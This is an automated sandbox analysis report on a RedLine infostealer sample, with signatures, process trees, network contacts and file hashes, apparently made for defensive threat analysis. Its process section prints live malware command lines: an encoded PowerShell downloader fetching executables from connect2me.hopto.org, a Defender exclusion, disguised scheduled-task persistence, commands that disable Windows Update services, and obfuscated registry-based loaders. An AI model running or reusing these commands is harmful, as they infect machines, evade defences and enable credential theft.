Malware Analysis Report

2025-06-16 05:17

Sample ID 230116-qvc5nsga24
Target 17855519b9e1bde7cabf66a422b5671d4d462968
SHA256 702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
Tags
redline 1 evasion infostealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

Threat Level: Known bad

The file 17855519b9e1bde7cabf66a422b5671d4d462968 was found to be: Known bad.

Malicious Activity Summary

redline 1 evasion infostealer

RedLine

RedLine payload

Modifies security service

Suspicious use of NtCreateUserProcessOtherParentProcess

Executes dropped EXE

Blocklisted process makes network request

Stops running service(s)

Downloads MZ/PE file

Drops file in Drivers directory

Loads dropped DLL

Uses the VBS compiler for execution

Suspicious use of SetThreadContext

Drops file in System32 directory

Launches sc.exe

Drops file in Program Files directory

Program crash

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Modifies data under HKEY_USERS

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-01-16 13:34

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-01-16 13:34

Reported

2023-01-16 14:46

Platform

win7-20220812-en

Max time kernel

152s

Max time network

148s

Command Line

C:\Windows\Explorer.EXE

Signatures

Modifies security service

evasion
Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security C:\Windows\System32\reg.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Stops running service(s)

evasion

Uses the VBS compiler for execution

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3095d2b0c129d901 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 2024 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\SysWOW64\WerFault.exe
PID 2024 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\SysWOW64\WerFault.exe
PID 2024 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\SysWOW64\WerFault.exe
PID 2024 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe C:\Windows\SysWOW64\WerFault.exe
PID 892 wrote to memory of 836 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 892 wrote to memory of 836 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 892 wrote to memory of 836 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 892 wrote to memory of 836 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 836 wrote to memory of 1840 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 836 wrote to memory of 1840 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 836 wrote to memory of 1840 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 836 wrote to memory of 1840 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 836 wrote to memory of 556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 836 wrote to memory of 556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 836 wrote to memory of 556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 836 wrote to memory of 556 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 556 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 556 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 556 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 556 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 836 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 836 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 836 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 836 wrote to memory of 1612 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 836 wrote to memory of 1644 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 836 wrote to memory of 1644 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 836 wrote to memory of 1644 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 836 wrote to memory of 1644 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1732 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 1652 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 1652 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 1652 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 728 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 728 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 728 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 512 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 512 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 512 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 916 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 916 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 916 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1732 wrote to memory of 2028 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 2028 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 2028 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 756 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 756 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 756 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 1144 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 1144 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1732 wrote to memory of 1144 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe

"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2024 -s 36

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"

C:\Users\Admin\AppData\Local\Temp\new2.exe

"C:\Users\Admin\AppData\Local\Temp\new2.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 556 -s 36

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\System32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\system32\taskeng.exe

taskeng.exe {A1C9D353-A74B-4541-9387-552E5A3BC203} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('d'+'i'+'a'+[Char](108)+'e'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+'WAR'+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+''+'l'+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 connect2me.hopto.org udp
N/A 37.139.129.113:443 connect2me.hopto.org tcp
N/A 107.182.129.73:21733 tcp

Files

memory/892-54-0x0000000000400000-0x0000000000405000-memory.dmp

memory/892-56-0x0000000000400000-0x0000000000405000-memory.dmp

memory/892-62-0x0000000000401159-mapping.dmp

memory/892-63-0x0000000074D81000-0x0000000074D83000-memory.dmp

memory/892-64-0x0000000000400000-0x0000000000405000-memory.dmp

memory/1480-65-0x0000000000000000-mapping.dmp

memory/836-66-0x0000000000000000-mapping.dmp

memory/836-68-0x0000000072DA0000-0x000000007334B000-memory.dmp

memory/836-69-0x0000000072DA0000-0x000000007334B000-memory.dmp

memory/1840-72-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
